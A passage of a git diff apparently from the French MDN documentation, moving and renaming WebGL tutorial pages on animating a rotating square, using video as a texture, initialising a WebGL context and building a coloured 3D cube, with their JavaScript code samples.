Dans cet exemple, nous allons faire tourner notre carré 2D.

+ +

Faire tourner le carré

+ +

Commençons par faire tourner le carré. La première chose dont nous avons besoin est une variable pour mémoriser la rotation courante du carré :

+ +
var squareRotation = 0.0;
+
+ +

Maintenant, nous devons modifier la fonction drawScene() pour appliquer la rotation courante du carré quand on le dessine. Après déplacement à la position de dessin initiale du carré, nous appliquons la rotation comme suit :  

+ +
  mat4.rotate(modelViewMatrix,  // matrice de destination
+              modelViewMatrix,  // matrice de rotation
+              squareRotation,   // rotation en radians
+              [0, 0, 1]);       // axe autour duquel tourner
+ +

Ceci fait tourner la modelViewMatrix de la valeur courante de squareRotation, autour de l'axe Z.

+ +

Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code qui change la valeur de squareRotation au fil du temps. Nous pouvons faire cela en créant une nouvelle variable pour mémoriser l'instant auquel nous avons réalisé l'animation pour la dernière fois (appelons le then), puis en ajoutant le code suivant à la fin de la fonction principale :

+ +
var then = 0;
+
+// Dessiner la scène répétitivement
+function render(now) {
+  now *= 0.001;  // conversion en secondes
+  const deltaTime = now - then;
+  then = now;
+
+  drawScene(gl, programInfo, buffers, deltaTime);
+
+  requestAnimationFrame(render);
+}
+requestAnimationFrame(render);
+ +

Ce code utilise requestAnimationFrame pour demander au navigateur d'appeler la fonction "render" à chaque image. requestAnimationFrame nous transmet le temps en millisecondes depuis le chargement de la page. Nous le convertissons en secondes, puis nous lui soustrayons le dernier instant pour calculer deltaTime, qui est le nombre de secondes depuis le rendu de la dernière image. À la fin de drawscene, nous ajoutons le code pour mettre à jour squareRotation.

+ +
  squareRotation += deltaTime;
+ +

Ce code utilise le laps de temps qui s'est écoulé depuis la dernière fois que nous avons mis à jour la valeur squareRotation pour déterminer de combien faire tourner le carré.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

+ +

 

+ +

 

diff --git a/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html new file mode 100644 index 0000000000..1c9efb8966 --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.html @@ -0,0 +1,144 @@ +--- +title: Animation de textures en WebGL +slug: Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL +tags: + - Media + - Tutoriel + - Video + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

Dans cette démonstration, nous construisons sur l'exemple précédent en remplaçant nos textures statiques par les images d'un fichier vidéo mp4 en cours de lecture. C'est en fait assez facile à faire, mais c'est amusant à regarder, alors commençons. Un code similaire peut être réalisé pour utiliser n'importe quel type de données (comme un {{HTMLElement ("canvas")}}) comme source pour vos textures..

+ +

Accéder à la vidéo

+ +

La première étape consiste à créer l'élément {{HTMLElement("video")}} que nous utiliserons pour récupérer les images vidéo :

+ +
// sera mis à true quand la vidéo pourra être copiée dans la texture
+var copierVideo = false;
+
+function configurerVideo(url) {
+  const video = document.createElement('video');
+
+  var playing = false;
+  var timeupdate = false;
+
+  video.autoplay = true;
+  video.muted = true;
+  video.loop = true;
+
+  // Le fait d'attendre ces 2 évènements assure
+  // qu'il y a des données dans la vidéo
+
+  video.addEventListener('playing', function() {
+     playing = true;
+     verifierPret();
+  }, true);
+
+  video.addEventListener('timeupdate', function() {
+     timeupdate = true;
+     verifierPret();
+  }, true);
+
+  video.src = url;
+  video.play();
+
+  function verifierPret() {
+    if (playing && timeupdate) {
+      copierVideo = true;
+    }
+  }
+
+  return video;
+}
+
+ +

D'abord, nous créons un élément vidéo. Nous le mettons en lecture automatique, nous coupons le son et nous faisons tourner la vidéo en boucle. Nous configurons ensuite 2 événements pour voir que la vidéo est en cours de lecture et que le temps a été mis à jour. Nous avons besoin de ces deux vérifications, car c'est une erreur que d'essayer de télécharger sur WebGL une vidéo qui n'a pas encore de données disponibles. La vérification de ces deux événements garantit que des données sont disponibles et que l'on peut démarrer en toute sécurité le chargement de la vidéo dans une texture WebGL. Dans le code ci-dessus, nous vérifions si nous avons reçu ces deux événements et si c'est le cas, nous mettons une variable globale, copierVideo, à true pour nous dire qu'il est possible de commencer à copier la vidéo dans une texture.

+ +

Et enfin, nous définissons l'attribut src pour commencer, et nous appelons play pour démarrer le chargement et la lecture de la vidéo.

+ +

Utilisation des images vidéo comme texture

+ +

La prochaine modification porte sur initTexture(), qui devient beaucoup plus simple, car elle n'a plus besoin de charger un fichier image. A la place, tout ce qu'elle fait est de créer un objet texture vide, d'y mettre un unique pixel et de définir son filtrage pour une utilisation ultérieure :

+ +
function initTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Parce que la vidéo doit être téléchargée depuis sur Internet,
+  // cela peut prendre un certain temps jusqu'à ce qu'elle soit prête, donc
+  // mettre un seul pixel dans la texture, de façon à ce que nous puissions
+  // l'utiliser immédiatement.
+  const niveau = 0;
+  const formatInterne = gl.RGBA;
+  const largeur = 1;
+  const hauteur = 1;
+  const bordure = 0;
+  const formatSrc = gl.RGBA;
+  const typeSrc = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
+  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
+                largeur, hauteur, bordure, formatSrc, typeSrc,
+                pixel);
+
+  // Désactiver mips et définir l'emballage comme accroché au bord afin qu'il
+  // fonctionne indépendamment des dimensions de la vidéo.
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+
+  return texture;
+}
+
+ +
Voici à quoi ressemble la fonction mettreAJourTexture() ; c'est là où le vrai travail est fait :
+ +
function mettreAJourTexture(gl, texture, video) {
+  const niveau = 0;
+  const formatInterne = gl.RGBA;
+  const formatSrc = gl.RGBA;
+  const typeSrc = gl.UNSIGNED_BYTE;
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
+                formatSrc, typeSrc, video);
+}
+
+ +

Vous avez déjà vu ce code. Il est presque identique à la fonction onload de l'image dans l'exemple précédent, sauf quand nous appellons texImage2D(), au lieu de passer un objet Image, nous passons l'élément {{HTMLElement ("video")}}. WebGL sait comment extraire l'image en cours et l'utiliser comme texture.

+ +

Si copierVideo est true, alors mettreAJourTexture() est appelé à chaque fois juste avant que nous appellions la fonction dessinerScene().

+ +
  var alors = 0;
+
+  // Dessiner la scène répétitivement
+  function dessiner(maintenant) {
+    maintenant *= 0.001;  // convertir en seconds
+    const ecartTemps = maintenant - alors;
+    alors = maintenant;
+
+    if (copierVideo) {
+      mettreAJourTexture(gl, texture, video);
+    }
+
+    dessinerScene(gl, programInfo, buffers, texture, ecartTemps);
+
+    requestAnimationFrame(dessiner);
+  }
+  requestAnimationFrame(dessiner);
+
+ +

C'est tout pour ce qu'il y a à faire pour cela !

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

Voir aussi

+ + + +

{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html deleted file mode 100644 index 1c9efb8966..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/animation_de_textures_en_webgl/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Animation de textures en WebGL -slug: Web/API/WebGL_API/Tutorial/Animation_de_textures_en_WebGL -tags: - - Media - - Tutoriel - - Video - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL ---- -

{{WebGLSidebar("Tutorial") }} {{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

- -

Dans cette démonstration, nous construisons sur l'exemple précédent en remplaçant nos textures statiques par les images d'un fichier vidéo mp4 en cours de lecture. C'est en fait assez facile à faire, mais c'est amusant à regarder, alors commençons. Un code similaire peut être réalisé pour utiliser n'importe quel type de données (comme un {{HTMLElement ("canvas")}}) comme source pour vos textures..

- -

Accéder à la vidéo

- -

La première étape consiste à créer l'élément {{HTMLElement("video")}} que nous utiliserons pour récupérer les images vidéo :

- -
// sera mis à true quand la vidéo pourra être copiée dans la texture
-var copierVideo = false;
-
-function configurerVideo(url) {
-  const video = document.createElement('video');
-
-  var playing = false;
-  var timeupdate = false;
-
-  video.autoplay = true;
-  video.muted = true;
-  video.loop = true;
-
-  // Le fait d'attendre ces 2 évènements assure
-  // qu'il y a des données dans la vidéo
-
-  video.addEventListener('playing', function() {
-     playing = true;
-     verifierPret();
-  }, true);
-
-  video.addEventListener('timeupdate', function() {
-     timeupdate = true;
-     verifierPret();
-  }, true);
-
-  video.src = url;
-  video.play();
-
-  function verifierPret() {
-    if (playing && timeupdate) {
-      copierVideo = true;
-    }
-  }
-
-  return video;
-}
-
- -

D'abord, nous créons un élément vidéo. Nous le mettons en lecture automatique, nous coupons le son et nous faisons tourner la vidéo en boucle. Nous configurons ensuite 2 événements pour voir que la vidéo est en cours de lecture et que le temps a été mis à jour. Nous avons besoin de ces deux vérifications, car c'est une erreur que d'essayer de télécharger sur WebGL une vidéo qui n'a pas encore de données disponibles. La vérification de ces deux événements garantit que des données sont disponibles et que l'on peut démarrer en toute sécurité le chargement de la vidéo dans une texture WebGL. Dans le code ci-dessus, nous vérifions si nous avons reçu ces deux événements et si c'est le cas, nous mettons une variable globale, copierVideo, à true pour nous dire qu'il est possible de commencer à copier la vidéo dans une texture.

- -

Et enfin, nous définissons l'attribut src pour commencer, et nous appelons play pour démarrer le chargement et la lecture de la vidéo.

- -

Utilisation des images vidéo comme texture

- -

La prochaine modification porte sur initTexture(), qui devient beaucoup plus simple, car elle n'a plus besoin de charger un fichier image. A la place, tout ce qu'elle fait est de créer un objet texture vide, d'y mettre un unique pixel et de définir son filtrage pour une utilisation ultérieure :

- -
function initTexture(gl, url) {
-  const texture = gl.createTexture();
-  gl.bindTexture(gl.TEXTURE_2D, texture);
-
-  // Parce que la vidéo doit être téléchargée depuis sur Internet,
-  // cela peut prendre un certain temps jusqu'à ce qu'elle soit prête, donc
-  // mettre un seul pixel dans la texture, de façon à ce que nous puissions
-  // l'utiliser immédiatement.
-  const niveau = 0;
-  const formatInterne = gl.RGBA;
-  const largeur = 1;
-  const hauteur = 1;
-  const bordure = 0;
-  const formatSrc = gl.RGBA;
-  const typeSrc = gl.UNSIGNED_BYTE;
-  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
-  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
-                largeur, hauteur, bordure, formatSrc, typeSrc,
-                pixel);
-
-  // Désactiver mips et définir l'emballage comme accroché au bord afin qu'il
-  // fonctionne indépendamment des dimensions de la vidéo.
-  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
-  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
-  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
-
-  return texture;
-}
-
- -
Voici à quoi ressemble la fonction mettreAJourTexture() ; c'est là où le vrai travail est fait :
- -
function mettreAJourTexture(gl, texture, video) {
-  const niveau = 0;
-  const formatInterne = gl.RGBA;
-  const formatSrc = gl.RGBA;
-  const typeSrc = gl.UNSIGNED_BYTE;
-  gl.bindTexture(gl.TEXTURE_2D, texture);
-  gl.texImage2D(gl.TEXTURE_2D, niveau, formatInterne,
-                formatSrc, typeSrc, video);
-}
-
- -

Vous avez déjà vu ce code. Il est presque identique à la fonction onload de l'image dans l'exemple précédent, sauf quand nous appellons texImage2D(), au lieu de passer un objet Image, nous passons l'élément {{HTMLElement ("video")}}. WebGL sait comment extraire l'image en cours et l'utiliser comme texture.

- -

Si copierVideo est true, alors mettreAJourTexture() est appelé à chaque fois juste avant que nous appellions la fonction dessinerScene().

- -
  var alors = 0;
-
-  // Dessiner la scène répétitivement
-  function dessiner(maintenant) {
-    maintenant *= 0.001;  // convertir en seconds
-    const ecartTemps = maintenant - alors;
-    alors = maintenant;
-
-    if (copierVideo) {
-      mettreAJourTexture(gl, texture, video);
-    }
-
-    dessinerScene(gl, programInfo, buffers, texture, ecartTemps);
-
-    requestAnimationFrame(dessiner);
-  }
-  requestAnimationFrame(dessiner);
-
- -

C'est tout pour ce qu'il y a à faire pour cela !

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample8/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

Voir aussi

- - - -

{{Previous("Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html deleted file mode 100644 index 534d6ef995..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/animer_des_objets_avec_webgl/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Animer des objets avec WebGL -slug: Web/API/WebGL_API/Tutorial/Animer_des_objets_avec_WebGL -tags: - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

- -

Dans cet exemple, nous allons faire tourner notre carré 2D.

- -

Faire tourner le carré

- -

Commençons par faire tourner le carré. La première chose dont nous avons besoin est une variable pour mémoriser la rotation courante du carré :

- -
var squareRotation = 0.0;
-
- -

Maintenant, nous devons modifier la fonction drawScene() pour appliquer la rotation courante du carré quand on le dessine. Après déplacement à la position de dessin initiale du carré, nous appliquons la rotation comme suit :  

- -
  mat4.rotate(modelViewMatrix,  // matrice de destination
-              modelViewMatrix,  // matrice de rotation
-              squareRotation,   // rotation en radians
-              [0, 0, 1]);       // axe autour duquel tourner
- -

Ceci fait tourner la modelViewMatrix de la valeur courante de squareRotation, autour de l'axe Z.

- -

Pour réaliser effectivement l'animation, nous avons besoin d'ajouter du code qui change la valeur de squareRotation au fil du temps. Nous pouvons faire cela en créant une nouvelle variable pour mémoriser l'instant auquel nous avons réalisé l'animation pour la dernière fois (appelons le then), puis en ajoutant le code suivant à la fin de la fonction principale :

- -
var then = 0;
-
-// Dessiner la scène répétitivement
-function render(now) {
-  now *= 0.001;  // conversion en secondes
-  const deltaTime = now - then;
-  then = now;
-
-  drawScene(gl, programInfo, buffers, deltaTime);
-
-  requestAnimationFrame(render);
-}
-requestAnimationFrame(render);
- -

Ce code utilise requestAnimationFrame pour demander au navigateur d'appeler la fonction "render" à chaque image. requestAnimationFrame nous transmet le temps en millisecondes depuis le chargement de la page. Nous le convertissons en secondes, puis nous lui soustrayons le dernier instant pour calculer deltaTime, qui est le nombre de secondes depuis le rendu de la dernière image. À la fin de drawscene, nous ajoutons le code pour mettre à jour squareRotation.

- -
  squareRotation += deltaTime;
- -

Ce code utilise le laps de temps qui s'est écoulé depuis la dernière fois que nous avons mis à jour la valeur squareRotation pour déterminer de combien faire tourner le carré.

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample4/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}

- -

 

- -

 

diff --git a/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html deleted file mode 100644 index 4388934aeb..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/commencer_avec_webgl/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Commencer avec WebGL -slug: Web/API/WebGL_API/Tutorial/Commencer_avec_WebGL -tags: - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Ajouter_du_contenu_à_WebGL")}}WebGL permet à un contenu web d'utiliser l'API basée sur OpenGL ES 2.0 pour effectuer un rendu 2D et 3D dans un canvas dans les navigateurs qui le supportent, sans utilisation d'un module complémentaire. Les programmes WebGL sont constitués de code de contrôle écrit en JavaScript, et le code d'ombrage (GLSL) est exécuté dans l'Unité de Traitement Graphique (GPU) de l'ordinateur. Les éléments WebGL peuvent être mélangés avec d'autres éléments HTML, et composés d'autres parties de la page ou de l'arrière-plan de la page.

- -

Cet article va vous donner une introduction aux bases de l'utilisation de WebGL. Il est supposé que vous avez déjà une compréhension des mathématiques impliquées dans les graphismes 3D, et cet article ne prétend pas vous enseigner les concepts des graphismes 3D par eux-mêmes.

- -

Les exemples de code de ce tutoriel peuvent aussi être trouvés dans le webgl-examples GitHub repository.

- -

Préparation au rendu 3D

- -

La première chose dont vous avez besoin pour utiliser WebGL pour faire un rendu est un canvas. Le fragment d'HTML ci-dessous déclare un canvas dans lequel notre exemple se dessinera.

- -
<body>
-  <canvas id="glCanvas" width="640" height="480"></canvas>
-</body>
-
- -
-

Préparation du contexte WebGL

- -

La fonction main() dans notre code JavaScript est appelée quand notre script est chargé. Son but est de créer le contexte WebGL et de commencer à rendre du contenu.

- -
main();
-
-//
-// Début ici
-//
-function main() {
-  const canvas = document.querySelector("#glCanvas");
-  // Initialisation du contexte WebGL
-  const gl = canvas.getContext("webgl");
-
-  // Continuer seulement si WebGL est disponible et fonctionnel
-  if (!gl) {
-    alert("Impossible d'initialiser WebGL. Votre navigateur ou votre machine peut ne pas le supporter.");
-    return;
-  }
-
-  // Définir la couleur d'effacement comme étant le noir, complètement opaque
-  gl.clearColor(0.0, 0.0, 0.0, 1.0);
-  // Effacer le tampon de couleur avec la couleur d'effacement spécifiée
-  gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);
-}
-
- -

La première chose que nous faisons ici est d'obtenir une référence au canvas, en l'affectant à une variable dénommée canvas.

- -

Une fois que nous avons le canvas, nous essayons de lui obtenir un WebGLRenderingContext, en appelant getContext et en lui passant la chaîne "webgl". Si le navigateur ne supporte pas WebGL, getContext retournera null, auquel cas nous afficherons un message pour l'utilisateur, et nous sortirons.

- -

Si le contexte est initialisé avec succès, la variable gl sera notre référence à celui-ci. Dans ce cas, nous définissons la couleur d'effacement comme étant le noir, et nous effaçons le contexte avec cette couleur (redessin du canvas avec la couleur d'arrière-plan).

- -

A ce stade, votre code est suffisant pour que le contexte WebGL puisse s'initialiser avec succès, et vous devriez vous retrouver avec une grande boîte noire et vide, prête à - et attendant de - recevoir du contenu.

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample1/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

Voir aussi

- -
    -
  • An introduction to WebGL : écrite par Luz Caballero, publiée sur dev.opera.com. Cet article traite de ce qu'est WebGL, explique comment WebGL fonctionne (incluant le concept de pipeline de rendu), et présente quelques bibliothèques WebGL.
    • -
  • WebGL Fundamentals
    • -
  • An intro to modern OpenGL : une série de bons articles sur OpenGL écrits par Joe Groff, fournissant une introduction claire à OpenGL, depuis son histoire jusqu'au concept important de pipeline de graphismes, qui comprend aussi quelques exemples montrant comment OpenGL fonctionne. Si vous n'avez aucune idée de ce qu'est OpenGL, c'est un bon endroit pour commencer.
    • -
- -

{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}

-
diff --git a/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html new file mode 100644 index 0000000000..ccbff1a2d6 --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html @@ -0,0 +1,167 @@ +--- +title: Créer des objets 3D avec WebGL +slug: Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL +tags: + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

+ +

Transformons notre carré en trois dimensions en lui ajoutant cinq faces supplémentaires pour créer un cube. Pour faire cela efficacement, nous allons passer du dessin de sommets par l'appel direct de la méthode {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}, à l'utilisation du tableau des sommets comme une table, et à référencer les sommets individuels dans cette table pour définir les positions des sommets de chaque face, en appelant directement {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.

+ +

Notez que chaque face nécessite quatre sommets pour la définir, mais que chaque sommet est partagé entre trois faces. Nous pouvons donc passer beaucoup moins de données en faisant un tableau des 24 sommets, puis en référençant chaque sommet par son indice dans ce tableau, au lieu de passer des ensembles complets de coordonnées. Si vous vous demandez pourquoi nous avons besoin de 24 sommets, et non pas seulement de 8, c'est parce que chaque coin appartient à trois faces de couleurs différentes, et qu'un sommet donné doit avoir une couleur spécifique - c'est pourquoi nous allons créer 3 copies de chaque sommet dans les trois couleurs différentes, une pour chaque face.

+ +

Définir la position des sommets du cube

+ +

Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le code de initBuffer(). C'est sensiblement le même que pour le carré, mais en plus long, du fait qu'il y a 24 sommets (4 par côté) :

+ +
  const positions = [
+    // Face avant
+    -1.0, -1.0,  1.0,
+     1.0, -1.0,  1.0,
+     1.0,  1.0,  1.0,
+    -1.0,  1.0,  1.0,
+
+    // Face arrière
+    -1.0, -1.0, -1.0,
+    -1.0,  1.0, -1.0,
+     1.0,  1.0, -1.0,
+     1.0, -1.0, -1.0,
+
+    // Face supérieure
+    -1.0,  1.0, -1.0,
+    -1.0,  1.0,  1.0,
+     1.0,  1.0,  1.0,
+     1.0,  1.0, -1.0,
+
+    // Face inférieure
+    -1.0, -1.0, -1.0,
+     1.0, -1.0, -1.0,
+     1.0, -1.0,  1.0,
+    -1.0, -1.0,  1.0,
+
+    // Face droite
+     1.0, -1.0, -1.0,
+     1.0,  1.0, -1.0,
+     1.0,  1.0,  1.0,
+     1.0, -1.0,  1.0,
+
+    // Face gauche
+    -1.0, -1.0, -1.0,
+    -1.0, -1.0,  1.0,
+    -1.0,  1.0,  1.0,
+    -1.0,  1.0, -1.0
+  ];
+
+ +

Du fait que nous avons ajouté une composante z à nos sommets, nous avons besoin de changer en 3 le numComponents de notre attribut vertexPosition.

+ +
// Indiquer à WebGL comment extraire les positions du tampon des
+// positions dans l'attribut vertexPosition
+{
+  const numComponents = 3;
+  ...
+  gl.vertexAttribPointer(
+      programInfo.attribLocations.vertexPosition,
+      numComponents,
+      type,
+      normalize,
+      stride,
+      offset);
+  gl.enableVertexAttribArray(
+      programInfo.attribLocations.vertexPosition);
+}
+ +

Définir les couleurs des sommets

+ +

Nous avons aussi besoin de construire un tableau des couleurs pour chacun des 24 sommets. Ce code commence par définir une couleur pour chaque face, puis il utilise une boucle pour assembler le tableau de toutes les couleurs pour chacun des sommets.

+ +
  const faceColors = [
+    [1.0,  1.0,  1.0,  1.0],    // Face avant : blanc
+    [1.0,  0.0,  0.0,  1.0],    // Face arrière : rouge
+    [0.0,  1.0,  0.0,  1.0],    // Face supérieure : vert
+    [0.0,  0.0,  1.0,  1.0],    // Face infiérieure : bleu
+    [1.0,  1.0,  0.0,  1.0],    // Face droite : jaune
+    [1.0,  0.0,  1.0,  1.0]     // Face gauche : violet
+  ];
+
+  // Conversion du tableau des couleurs en une table pour tous les sommets
+
+  var colors = [];
+
+  for (j=0; j<faceColors.length; j++) {
+    const c = faceColors[j];
+
+    // Répéter chaque couleur quatre fois pour les quatre sommets d'une face
+    colors = colors.concat(c, c, c, c);
+  }
+
+  const colorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, colorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+
+ +

Définir le tableau des éléments

+ +

Une fois que les tableaux des sommets sont générés, nous devons construire le tableau des éléments.

+ +
  const indexBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, indexBuffer);
+
+  // Ce tableau définit chaque face comme deux triangles, en utilisant les
+  // indices dans le tableau des sommets pour spécifier la position de chaque
+  // triangle.
+
+  const indices = [
+    0,  1,  2,      0,  2,  3,    // avant
+    4,  5,  6,      4,  6,  7,    // arrière
+    8,  9,  10,     8,  10, 11,   // haut
+    12, 13, 14,     12, 14, 15,   // bas
+    16, 17, 18,     16, 18, 19,   // droite
+    20, 21, 22,     20, 22, 23,   // gauche
+  ];
+
+  // Envoyer maintenant le tableau des éléments à GL
+
+  gl.bufferData(gl.ELEMENT_ARRAY_BUFFER,
+      new Uint16Array(indices), gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+    color: colorBuffer,
+    indices: indexBuffer,
+  };
+}
+ +

Le tableau indices définit chaque face comme étant une paire de triangles, en spécifiant chaque sommet du triangle comme un indice dans les tableaux des sommets du cube. Ainsi le cube est décrit comme une collection de 12 triangles.

+ +

Dessiner le cube

+ +

Ensuite, nous devons ajouter du code à notre fonction drawScene() pour dessiner le tampon des indices du cube, en ajoutant de nouveaux appels à {{domxref("WebGLRenderingContext.bindBuffer()", "gl.bindBuffer()")}} et {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} :

+ +
  // Indiquer à WebGL quels indices utiliser pour indexer les sommets
+  gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, tampons.indices);
+
+...
+
+  {
+    const vertexCount = 36;
+    const type = gl.UNSIGNED_SHORT;
+    const offset = 0;
+    gl.drawElements(gl.TRIANGLES, vertexCount, type, offset);
+  }
+ +

Du fait que chaque face de notre cube est composée de deux triangles, il y a 6 sommets par côté, soit 36 sommets au total dans le cube, même si beaucoup d'entre eux sont des doublons.

+ +

Finalement, remplaçons notre variable squareRotation par cubeRotation et ajoutons une seconde rotation autour de l'axe des x :

+ +
mat4.rotate(modelViewMatrix, modelViewMatrix, cubeRotation * .7, [0, 1, 0]);
+ +

À ce stade, nous avons un cube animé en rotation, ses six faces ayant des couleurs assez vives.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample5/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html deleted file mode 100644 index ccbff1a2d6..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/creer_des_objets_3d_avec_webgl/index.html +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: Créer des objets 3D avec WebGL -slug: Web/API/WebGL_API/Tutorial/Creer_des_objets_3D_avec_WebGL -tags: - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}

- -

Transformons notre carré en trois dimensions en lui ajoutant cinq faces supplémentaires pour créer un cube. Pour faire cela efficacement, nous allons passer du dessin de sommets par l'appel direct de la méthode {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}}, à l'utilisation du tableau des sommets comme une table, et à référencer les sommets individuels dans cette table pour définir les positions des sommets de chaque face, en appelant directement {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.

- -

Notez que chaque face nécessite quatre sommets pour la définir, mais que chaque sommet est partagé entre trois faces. Nous pouvons donc passer beaucoup moins de données en faisant un tableau des 24 sommets, puis en référençant chaque sommet par son indice dans ce tableau, au lieu de passer des ensembles complets de coordonnées. Si vous vous demandez pourquoi nous avons besoin de 24 sommets, et non pas seulement de 8, c'est parce que chaque coin appartient à trois faces de couleurs différentes, et qu'un sommet donné doit avoir une couleur spécifique - c'est pourquoi nous allons créer 3 copies de chaque sommet dans les trois couleurs différentes, une pour chaque face.

- -

Définir la position des sommets du cube

- -

Tout d'abord, construisons le tampon des sommets du cube en mettant à jour le code de initBuffer(). C'est sensiblement le même que pour le carré, mais en plus long, du fait qu'il y a 24 sommets (4 par côté) :

- -
  const positions = [
-    // Face avant
-    -1.0, -1.0,  1.0,
-     1.0, -1.0,  1.0,
-     1.0,  1.0,  1.0,
